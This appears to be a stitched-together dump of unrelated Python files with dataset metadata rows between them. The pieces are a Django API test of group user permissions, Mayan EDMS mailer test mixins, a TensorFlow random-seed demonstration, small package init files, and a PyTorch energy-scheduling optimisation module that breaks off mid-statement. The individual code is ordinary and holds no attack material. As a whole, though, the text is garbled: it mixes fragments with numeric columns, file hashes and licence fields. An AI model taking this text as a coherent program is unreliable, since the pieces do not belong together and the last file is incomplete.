assert response_json["error"] == "ERROR_GROUP_USER_DOES_NOT_EXIST"
response = api_client.patch(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
{"permissions": "ADMIN"},
HTTP_AUTHORIZATION=f"JWT {token_3}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_NOT_IN_GROUP"
response = api_client.patch(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
{"permissions": "ADMIN"},
HTTP_AUTHORIZATION=f"JWT {token_2}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_INVALID_GROUP_PERMISSIONS"
response = api_client.patch(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
{"permissions": "NOT_EXISTING"},
format="json",
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_REQUEST_BODY_VALIDATION"
assert response_json["detail"]["permissions"][0]["code"] == "invalid_choice"
response = api_client.patch(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
{"permissions": "ADMIN"},
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert response_json["permissions"] == "ADMIN"
@pytest.mark.django_db
def test_delete_group_user(api_client, data_fixture):
user_1, token_1 = data_fixture.create_user_and_token(email="[email protected]")
user_2, token_2 = data_fixture.create_user_and_token(email="[email protected]")
user_3, token_3 = data_fixture.create_user_and_token(email="[email protected]")
group_1 = data_fixture.create_group()
data_fixture.create_user_group(group=group_1, user=user_1, permissions="ADMIN")
group_user = data_fixture.create_user_group(
group=group_1, user=user_2, permissions="MEMBER"
)
response = api_client.delete(
reverse("api:groups:users:item", kwargs={"group_user_id": 99999}),
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_404_NOT_FOUND
assert response_json["error"] == "ERROR_GROUP_USER_DOES_NOT_EXIST"
response = api_client.delete(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
HTTP_AUTHORIZATION=f"JWT {token_3}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_NOT_IN_GROUP"
response = api_client.delete(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
HTTP_AUTHORIZATION=f"JWT {token_2}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_INVALID_GROUP_PERMISSIONS"
response = api_client.delete(
reverse("api:groups:users:item", kwargs={"group_user_id": group_user.id}),
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
assert response.status_code == HTTP_204_NO_CONTENT
assert GroupUser.objects.all().count() == 1
@pytest.mark.django_db
def test_if_group_trashed_then_group_user_is_trashed(api_client, data_fixture):
user_1, token_1 = data_fixture.create_user_and_token(email="[email protected]")
trashed_group = data_fixture.create_group(user=user_1)
CoreHandler().delete_group(user=user_1, group=trashed_group)
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": trashed_group.id}),
{"permissions": "MEMBER"},
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_404_NOT_FOUND
assert response_json["error"] == "ERROR_GROUP_DOES_NOT_EXIST"
TrashHandler.restore_item(user_1, "group", trashed_group.id)
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": trashed_group.id}),
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert len(response_json) == 1
assert response_json[0]["email"] == user_1.email
| 40.282051
| 84
| 0.711903
| 1,076
| 7,855
| 4.840149
| 0.089219
| 0.119816
| 0.065284
| 0.064516
| 0.863287
| 0.84351
| 0.833909
| 0.811636
| 0.798579
| 0.798579
| 0
| 0.023701
| 0.162062
| 7,855
| 194
| 85
| 40.489691
| 0.767548
| 0
| 0
| 0.682635
| 0
| 0
| 0.187269
| 0.08084
| 0
| 0
| 0
| 0
| 0.239521
| 1
| 0.023952
| false
| 0
| 0.035928
| 0
| 0.05988
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2c690bc84bca9b6e4b870cf8e5b1443608a944f6
| 6,567
|
py
|
Python
|
mayan/apps/mailer/tests/mixins.py
|
atitaya1412/Mayan-EDMS
|
bda9302ba4b743e7d829ad118b8b836221888172
|
[
"Apache-2.0"
] | 336
|
2019-05-09T07:05:19.000Z
|
2022-03-25T09:50:22.000Z
|
mayan/apps/mailer/tests/mixins.py
|
atitaya1412/Mayan-EDMS
|
bda9302ba4b743e7d829ad118b8b836221888172
|
[
"Apache-2.0"
] | 9
|
2019-10-29T00:12:27.000Z
|
2021-09-09T15:16:51.000Z
|
mayan/apps/mailer/tests/mixins.py
|
atitaya1412/Mayan-EDMS
|
bda9302ba4b743e7d829ad118b8b836221888172
|
[
"Apache-2.0"
] | 257
|
2019-05-14T10:26:37.000Z
|
2022-03-30T03:37:36.000Z
|
import json
from ..models import UserMailer
from .literals import (
TEST_EMAIL_ADDRESS, TEST_EMAIL_FROM_ADDRESS,
TEST_USER_MAILER_BACKEND_PATH, TEST_USER_MAILER_LABEL
)
class DocumentMailerViewTestMixin:
def _request_test_document_send_link_single_view(self):
return self.post(
viewname='mailer:send_document_link_single', kwargs={
'document_id': self.test_document.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
},
)
def _request_test_document_send_link_multiple_view(self):
return self.post(
viewname='mailer:send_document_link_multiple', query={
'id_list': self.test_document.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
},
)
class DocumentFileMailerViewTestMixin:
def _request_test_document_file_send_link_single_view(self):
return self.post(
viewname='mailer:send_document_file_link_single', kwargs={
'document_file_id': self.test_document_file.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
def _request_test_document_file_send_link_multiple_view(self):
return self.post(
viewname='mailer:send_document_file_link_multiple', query={
'id_list': self.test_document_file.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
def _request_test_document_file_attachment_send_single_view(self):
return self.post(
viewname='mailer:send_document_file_attachment_single', kwargs={
'document_file_id': self.test_document_file.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
def _request_test_document_file_attachment_send_multiple_view(self):
return self.post(
viewname='mailer:send_document_file_attachment_multiple', query={
'id_list': self.test_document_file.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
class DocumentVersionMailerViewTestMixin:
def _request_test_document_version_send_link_single_view(self):
return self.post(
viewname='mailer:send_document_version_link_single', kwargs={
'document_version_id': self.test_document_version.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
},
)
def _request_test_document_version_send_link_multiple_view(self):
return self.post(
viewname='mailer:send_document_version_link_multiple', query={
'id_list': self.test_document_version.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
},
)
def _request_test_document_version_attachment_send_single_view(self):
return self.post(
viewname='mailer:send_document_version_attachment_single',
kwargs={
'document_version_id': self.test_document_version.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
def _request_test_document_version_attachment_send_multiple_view(self):
return self.post(
viewname='mailer:send_document_version_attachment_multiple',
query={
'id_list': self.test_document_version.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
),
'user_mailer': self.test_user_mailer.pk
}
)
class MailerTestMixin:
def _create_test_user_mailer(self):
self.test_user_mailer = UserMailer.objects.create(
default=True,
enabled=True,
label=TEST_USER_MAILER_LABEL,
backend_path=TEST_USER_MAILER_BACKEND_PATH,
backend_data=json.dumps(
obj={
'from': TEST_EMAIL_FROM_ADDRESS
}
)
)
class MailerViewTestMixin:
def _request_test_user_mailer_create_view(self):
return self.post(
viewname='mailer:user_mailer_create', kwargs={
'class_path': TEST_USER_MAILER_BACKEND_PATH
}, data={
'default': True,
'enabled': True,
'label': TEST_USER_MAILER_LABEL,
}
)
def _request_test_user_mailer_delete_view(self):
return self.post(
viewname='mailer:user_mailer_delete', kwargs={
'mailer_id': self.test_user_mailer.pk
}
)
def _request_test_user_mailer_list_view(self):
return self.get(
viewname='mailer:user_mailer_list'
)
def _request_test_user_mailer_log_entry_view(self):
return self.get(
viewname='mailer:user_mailer_log', kwargs={
'mailer_id': self.test_user_mailer.pk
}
)
def _request_test_user_mailer_test_view(self):
return self.post(
viewname='mailer:user_mailer_test', kwargs={
'mailer_id': self.test_user_mailer.pk
}, data={
'email': getattr(
self, 'test_email_address', TEST_EMAIL_ADDRESS
)
}
)
| 33.676923
| 77
| 0.568296
| 655
| 6,567
| 5.224427
| 0.080916
| 0.119813
| 0.106371
| 0.078901
| 0.880479
| 0.838691
| 0.815313
| 0.79924
| 0.784337
| 0.690824
| 0
| 0
| 0.349931
| 6,567
| 194
| 78
| 33.850515
| 0.801593
| 0
| 0
| 0.467836
| 0
| 0
| 0.16187
| 0.079793
| 0
| 0
| 0
| 0
| 0
| 1
| 0.093567
| false
| 0
| 0.017544
| 0.087719
| 0.22807
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2c9aecffdd6b777c17830740cf390cf1fac9b755
| 2,815
|
py
|
Python
|
Tensorflow/tensorflow_random_seed.py
|
cuevas1208/BlogEntries
|
efaa4a21f0cbe8630dcdd856d0f9202a038f3022
|
[
"MIT"
] | null | null | null |
Tensorflow/tensorflow_random_seed.py
|
cuevas1208/BlogEntries
|
efaa4a21f0cbe8630dcdd856d0f9202a038f3022
|
[
"MIT"
] | null | null | null |
Tensorflow/tensorflow_random_seed.py
|
cuevas1208/BlogEntries
|
efaa4a21f0cbe8630dcdd856d0f9202a038f3022
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""Tensorflow random seed
"""
import tensorflow as tf
import numpy as np
mu = 0
sigma = 0.3
# variables with/without function seed
fc1_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma, seed=1))
fc2_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
# initialize session
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print('\n variables with/without function seed')
print(' fc1_W fc2_W')
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 1.0')
sess.run(tf.global_variables_initializer())
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 1.1 running it again in the same session')
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 1.2 running it in a new session')
tf.reset_default_graph()
# using global seed
tf.set_random_seed(1)
fc1_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
fc2_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print('\n variables with global seed ')
print(' fc1_W fc2_W')
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 2.0')
# running function within the same session
sess.run(tf.global_variables_initializer())
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 2.1 running it again in the same session')
# new session
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 2.2 running it in a new session')
# change the name for the variables, and initialize new session using global seed 1
fc1_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
fc2_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(np.c_[fc1_W.eval(sess), fc2_W.eval(sess)], 'round 2.4 initialize variables in a new session')
# change the name for the variables, restart and initialize new session using global seed 1
tf.reset_default_graph()
tf.set_random_seed(1)
fc2_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
fc3_W = tf.Variable(tf.truncated_normal(shape=(1, 2), mean=mu, stddev=sigma))
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(' fc2_W fc3_W')
print(np.c_[fc2_W.eval(sess), fc3_W.eval(sess)], 'round 2.5 change variables name')
| 42.014925
| 121
| 0.666785
| 451
| 2,815
| 4.006652
| 0.13969
| 0.044272
| 0.07969
| 0.057554
| 0.853348
| 0.806862
| 0.806862
| 0.7886
| 0.717764
| 0.717764
| 0
| 0.031388
| 0.196448
| 2,815
| 66
| 122
| 42.651515
| 0.767462
| 0.122202
| 0
| 0.604651
| 0
| 0
| 0.173931
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.046512
| 0
| 0.046512
| 0.302326
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
e2fdc91e625cb3fb22bf10795f9fa82f5dac02f9
| 222
|
py
|
Python
|
ioc_writer/__init__.py
|
mandiant/ioc_writer
|
712247f3a10bdc2584fa18ac909fc763f71df21a
|
[
"Apache-2.0"
] | 167
|
2015-01-05T00:58:07.000Z
|
2022-03-22T18:20:22.000Z
|
ioc_writer/__init__.py
|
vitty84/ioc_writer
|
712247f3a10bdc2584fa18ac909fc763f71df21a
|
[
"Apache-2.0"
] | 5
|
2016-05-26T15:24:07.000Z
|
2017-12-11T05:23:41.000Z
|
ioc_writer/__init__.py
|
mandiant/ioc_writer
|
712247f3a10bdc2584fa18ac909fc763f71df21a
|
[
"Apache-2.0"
] | 60
|
2015-03-15T23:33:14.000Z
|
2022-01-12T23:19:53.000Z
|
from ioc_writer import ioc_api
from ioc_writer import ioc_et
from ioc_writer import ioc_common
from ioc_writer import utils
from ioc_writer import managers
__all__ = ['ioc_api', 'ioc_common', 'ioc_et', 'utils', 'managers']
| 37
| 66
| 0.806306
| 37
| 222
| 4.432432
| 0.27027
| 0.213415
| 0.396341
| 0.579268
| 0.402439
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117117
| 222
| 6
| 66
| 37
| 0.836735
| 0
| 0
| 0
| 0
| 0
| 0.161435
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.833333
| 0
| 0.833333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
391b3c5be435c99144a6db5bd572222cb6d2f3f1
| 29
|
py
|
Python
|
ngs_utils/jsontemplate/__init__.py
|
pdiakumis/NGS_Utils
|
9eae9f8d5f0e408118d429fde90e297dbac9ae15
|
[
"MIT"
] | 3
|
2018-06-06T01:41:51.000Z
|
2020-08-20T11:36:06.000Z
|
ngs_utils/jsontemplate/__init__.py
|
pdiakumis/NGS_Utils
|
9eae9f8d5f0e408118d429fde90e297dbac9ae15
|
[
"MIT"
] | 4
|
2019-11-28T03:34:54.000Z
|
2021-06-24T23:04:55.000Z
|
ngs_utils/jsontemplate/__init__.py
|
pdiakumis/NGS_Utils
|
9eae9f8d5f0e408118d429fde90e297dbac9ae15
|
[
"MIT"
] | 5
|
2018-03-15T12:43:38.000Z
|
2021-06-24T23:12:48.000Z
|
from ._jsontemplate import *
| 14.5
| 28
| 0.793103
| 3
| 29
| 7.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 29
| 1
| 29
| 29
| 0.88
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
39393793b2eafb2d08a2bee5095d95946bcad88f
| 31
|
py
|
Python
|
models/__init__.py
|
StephenTerror/TSSCapsNet
|
edc01b85987da641f4797c1bf60355bc78a6d51f
|
[
"Apache-2.0"
] | 1
|
2021-03-21T12:37:38.000Z
|
2021-03-21T12:37:38.000Z
|
models/__init__.py
|
StephenTerror/TSSCapsNet
|
edc01b85987da641f4797c1bf60355bc78a6d51f
|
[
"Apache-2.0"
] | null | null | null |
models/__init__.py
|
StephenTerror/TSSCapsNet
|
edc01b85987da641f4797c1bf60355bc78a6d51f
|
[
"Apache-2.0"
] | null | null | null |
from models.model_zoo import *
| 15.5
| 30
| 0.806452
| 5
| 31
| 4.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 31
| 1
| 31
| 31
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
393e655ee87ab592a9155b2f92d99ffe276dd68d
| 40,932
|
py
|
Python
|
IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py
|
Patyrn/Divide-and-Learn
|
ff03689c7ab6a7155ebd019babce8f79d0757a53
|
[
"MIT"
] | 7
|
2020-11-06T01:29:48.000Z
|
2022-01-02T12:49:40.000Z
|
IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py
|
Patyrn/Divide-and-Learn
|
ff03689c7ab6a7155ebd019babce8f79d0757a53
|
[
"MIT"
] | 2
|
2021-01-19T16:59:04.000Z
|
2021-01-25T10:17:46.000Z
|
IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py
|
Patyrn/Divide-and-Learn
|
ff03689c7ab6a7155ebd019babce8f79d0757a53
|
[
"MIT"
] | 5
|
2021-07-13T04:47:13.000Z
|
2022-01-17T14:05:06.000Z
|
import sys
sys.path.insert(0, '..')
sys.path.insert(0, '../EnergyCost')
from qpthlocal.qp import QPFunction
from qpthlocal.qp import QPSolvers
from qpthlocal.qp import make_gurobi_model
from ICON import *
from sgd_learner import *
from sklearn.metrics import mean_squared_error as mse
from collections import defaultdict
# from ip_model_whole import IPOfunc
from ip_model_whole import IPOfunc
#from ip_model_regular import IPOfunc
import logging
from get_energy import get_energy
import time,datetime
from KnapsackSolving import *
import pandas as pd
from collections import defaultdict
import numpy as np
import copy
import random
import signal
from contextlib import contextmanager
import traceback
from scipy.linalg import LinAlgError
import torch
from torch import nn, optim
from torch.autograd import Variable
class TimeoutException(Exception): pass
class MultilayerRegression(nn.Module):
def __init__(self,input_size, hidden_size,target_size=1,
num_layers=1):
super(MultilayerRegression, self).__init__()
if num_layers>1:
net_layers = [nn.Linear(input_size, hidden_size),nn.Dropout()]#,
# nn.ReLU()]
for hidden in range(num_layers-2):
net_layers.append(nn.Linear(hidden_size, hidden_size))
net_layers.append(nn.Dropout())
#net_layers.append(nn.ReLU())
net_layers.append(nn.Linear(hidden_size,target_size))
#net_layers.append(nn.ReLU())
self.net = nn.Sequential(*net_layers)
else:
self.net = nn.Linear(input_size, target_size)
def forward(self, x):
return self.net(x)
@contextmanager
def time_limit(seconds):
def signal_handler(signum, frame):
raise TimeoutException
signal.signal(signal.SIGALRM, signal_handler)
signal.alarm(seconds)
try:
yield
finally:
signal.alarm(0)
def make_matrix_qp(nbMachines,nbTasks,nbResources,MC,U,D,E,L,P,idle,up,down,q,**h):
# nbMachines: number of machine
# nbTasks: number of task
# nb resources: number of resources
# MC[m][r] resource capacity of machine m for resource r
# U[f][r] resource use of task f for resource r
# D[f] duration of tasks f
# E[f] earliest start of task f
# L[f] latest end of task f
# P[f] power use of tasks f
# idle[m] idle cost of server m
# up[m] startup cost of server m
# down[m] shut-down cost of server m
# q time resolution
# timelimit in seconds
# print("number of machines %d, number of tasks %d, number of resources %d"%(nbMachines,nbTasks,nbResources))
Machines = range(nbMachines)
Tasks = range(nbTasks)
Resources = range(nbResources)
N = 1440//q
### G and h
G1 = torch.zeros((nbMachines*N ,nbTasks*nbMachines*N))
h1 = torch.zeros(nbMachines*N)
F = torch.zeros((N,nbTasks*nbMachines*N))
for m in Machines:
for t in range(N):
h1[m*N+t] = MC[m][0]
for f in Tasks:
c_index = (f*nbMachines+m)*N
G1[t + m*N, (c_index+max(0,t-D[f]+1)):(c_index+(t+1))] =1
F [t,(c_index+max(0,t-D[f]+1)):(c_index+(t+1)) ] = P[f]
G2 = torch.eye((nbTasks*nbMachines*N))
G3 = -1*torch.eye((nbTasks*nbMachines*N))
h2 = torch.ones(nbTasks*nbMachines*N)
h3 = torch.zeros(nbTasks*nbMachines*N)
G = torch.cat((G1,G2,G3))
h = torch.cat((h1,h2,h3))
### A and b
A1 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
A2 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
A3 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
for f in Tasks:
A1 [f,(f*N*nbMachines):((f+1)*N*nbMachines) ] = 1
A2 [f,(f*N*nbMachines):(f*N*nbMachines + E[f]) ] = 1
A3 [f,(f*N*nbMachines+L[f]-D[f]+1):((f+1)*N*nbMachines) ] = 1
b = torch.cat((torch.ones(nbTasks),torch.zeros(2*nbTasks)))
A = torch.cat((A1,A2,A3))
return A,b,G,h,torch.transpose(F, 0, 1)
def make_matrix_intopt(nbMachines,nbTasks,nbResources,MC,U,D,E,L,P,idle,up,down,q,**h):
# nbMachines: number of machine
# nbTasks: number of task
# nb resources: number of resources
# MC[m][r] resource capacity of machine m for resource r
# U[f][r] resource use of task f for resource r
# D[f] duration of tasks f
# E[f] earliest start of task f
# L[f] latest end of task f
# P[f] power use of tasks f
# idle[m] idle cost of server m
# up[m] startup cost of server m
# down[m] shut-down cost of server m
# q time resolution
# timelimit in seconds
# print("number of machines %d, number of tasks %d, number of resources %d"%(nbMachines,nbTasks,nbResources))
Machines = range(nbMachines)
Tasks = range(nbTasks)
Resources = range(nbResources)
N = 1440//q
### G and h
G = torch.zeros((nbMachines*N ,nbTasks*nbMachines*N))
h = torch.zeros(nbMachines*N)
F = torch.zeros((N,nbTasks*nbMachines*N))
for m in Machines:
for t in range(N):
h[m*N+t] = MC[m][0]
for f in Tasks:
c_index = (f*nbMachines+m)*N
G[t + m*N, (c_index+max(0,t-D[f]+1)):(c_index+(t+1))] =1
F [t,(c_index+max(0,t-D[f]+1)):(c_index+(t+1)) ] = P[f]
### A and b
A1 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
A2 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
A3 = torch.zeros((nbTasks, nbTasks*nbMachines*N))
for f in Tasks:
A1 [f,(f*N*nbMachines):((f+1)*N*nbMachines) ] = 1
A2 [f,(f*N*nbMachines):(f*N*nbMachines + E[f]) ] = 1
A3 [f,(f*N*nbMachines+L[f]-D[f]+1):((f+1)*N*nbMachines) ] = 1
b = torch.cat((torch.ones(nbTasks),torch.zeros(2*nbTasks)))
A = torch.cat((A1,A2,A3))
return A,b,G,h,torch.transpose(F, 0, 1)
def ICON_solution(param,y,relax,n_items):
clf = Gurobi_ICON(relax=relax,method=-1,reset=True,presolve=True,**param)
clf.make_model()
n_knap = len(y)//n_items
sol_result = {}
for kn_nr in range(n_knap):
kn_start = kn_nr*n_items
kn_stop = kn_start+n_items
V = y[kn_start:kn_stop]
sol,_ = clf.solve_model(V)
sol_result[kn_nr] = sol
return sol_result
def ICON_obj(param,y,relax,n_items):
clf = Gurobi_ICON(relax=relax,method=-1,reset=True,presolve=True,**param)
clf.make_model()
n_knap = len(y)//n_items
sol_list = []
for kn_nr in range(n_knap):
kn_start = kn_nr*n_items
kn_stop = kn_start+n_items
V = y[kn_start:kn_stop]
sol,_ = clf.solve_model(V)
sol_list.append( sum(V*(sol)))
return np.median(sol_list)
def validation_module(param,n_items,epoch=None, batch=None,
model_time = None,run_time=None,
y_target_validation=None,sol_target_validation=None, y_pred_validation=None,
y_target_test=None,sol_target_test=None,y_pred_test=None,
validation_relax=False,**kwargs):
def regret(y_target,sol_target,y_pred,relax= False,**kwargs):
clf = Gurobi_ICON(relax=relax,method=-1,reset=True,presolve=True,**param)
clf.make_model()
n_knap = len(y_pred)//n_items
regret_list= []
for kn_nr in range(n_knap):
kn_start = kn_nr*n_items
kn_stop = kn_start+n_items
V = y_pred[kn_start:kn_stop]
V_target = y_target[kn_start:kn_stop]
sol,_ = clf.solve_model(V)
regret_list.append(sum(V_target*(sol-sol_target[kn_nr])))
return np.median(regret_list), mse(y_target,y_pred)
dict_validation = {}
if (y_pred_validation is not None) and (y_target_validation is not None) and (sol_target_validation is not None):
#print("validation",y_pred_validation.shape,y_target_validation.shape)
validation_result = regret(y_target_validation,sol_target_validation,
y_pred_validation,relax = validation_relax)
dict_validation['validation_regret'] = validation_result[0]
dict_validation['validation_mse'] = validation_result[1]
if (y_pred_test is not None) and (y_target_test is not None) and (sol_target_test is not None):
#print("test ",y_pred_test.shape,y_target_test.shape)
test_result = regret(y_target_test,sol_target_test,y_pred_test,
relax = False)
dict_validation['test_regret'] = test_result[0]
dict_validation['test_mse'] = test_result[1]
if batch is not None:
dict_validation['batch'] = batch
if epoch is not None:
dict_validation['epoch'] = epoch
if model_time is not None:
dict_validation['Modeltime'] = model_time
if run_time is not None:
dict_validation['time'] = run_time
return dict_validation
def validation_func(X_validation,y_validation,param,n_items,model, scaler = None,doScale = True):
if doScale:
if scaler is None:
raise Exception("you asked to do scaler but no StandardScaler found" )
X_validation = scaler.transform(X_validation)
model.eval()
X_tensor= torch.tensor(X_validation,dtype=torch.float)
y_pred = model(X_tensor).detach().numpy().squeeze()
model.train()
sol_validation = ICON_solution(param =param,y = y_validation,
relax = False,n_items = n_items)
validation_rslt = validation_module(param = param,n_items= n_items,
y_target_test= y_validation,sol_target_test= sol_validation ,
y_pred_test= y_pred)
return validation_rslt['test_regret'] , validation_rslt['test_mse']
def predict_func(X, model, scaler=None,doScale = True):
if doScale:
if scaler is None:
raise Exception("you asked to do scaler but no StandardScaler found" )
X1 = scaler.transform(X)
else:
X1 = X
model.eval()
X_tensor= torch.tensor(X1,dtype=torch.float)
y_pred = model(X_tensor).detach().numpy().squeeze()
model.train()
return y_pred
def return_dict_validation( instance,model,predict,param,n_items,
model_save, validation, test,
model_name="",validation_relax = True,
X_validation = None,y_validation = None, X_test = None,y_test = None):
if validation:
y_pred_validation= predict(X_validation,doScale= False)
if not hasattr(instance, 'sol_validation'):
instance.sol_validation = ICON_solution(param = param,y = y_validation,
relax = validation_relax,n_items = n_items)
else:
instance.sol_validation = None
y_pred_validation= None
if test:
y_pred_test= predict(X_test,doScale =False)
if not hasattr(instance, 'sol_test'):
instance.sol_test = ICON_solution(param = param,y =y_test,
relax = False,n_items = n_items)
else:
instance.sol_test = None
y_pred_test= None
return y_pred_validation, y_pred_test
class intopt_energy:
def __init__(self,param,
input_size,hidden_size,num_layers,target_size=1,
doScale= True,n_items=48,epochs=1,batchsize= 24,
verbose=False,validation_relax=True,
optimizer=optim.Adam,model_save=False,model_name=None,
problem_timelimit= 50,model=None,store_validation=False,
method =1,mu0=None,smoothing=False,thr = None,max_iter=None,
damping=1e-3,clip=0.1,warmstart= False,
**hyperparams):
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.param = param
self.doScale = doScale
self.n_items = n_items
self.epochs = epochs
self.batchsize = batchsize
self.verbose = verbose
self.validation_relax = validation_relax
#self.test_relax = test_relax
self.optimizer = optimizer
self.model_save = model_save
self.model_name = model_name
self.smoothing = smoothing
self.thr = thr
self.damping = damping
self.hyperparams = hyperparams
self.max_iter = max_iter
self.warmstart = warmstart
self.method = method
self.mu0 = mu0
self.clip = clip
self.problem_timelimit = problem_timelimit
self.model = model
self.store_validation = store_validation
self.model = MultilayerRegression(input_size= input_size,
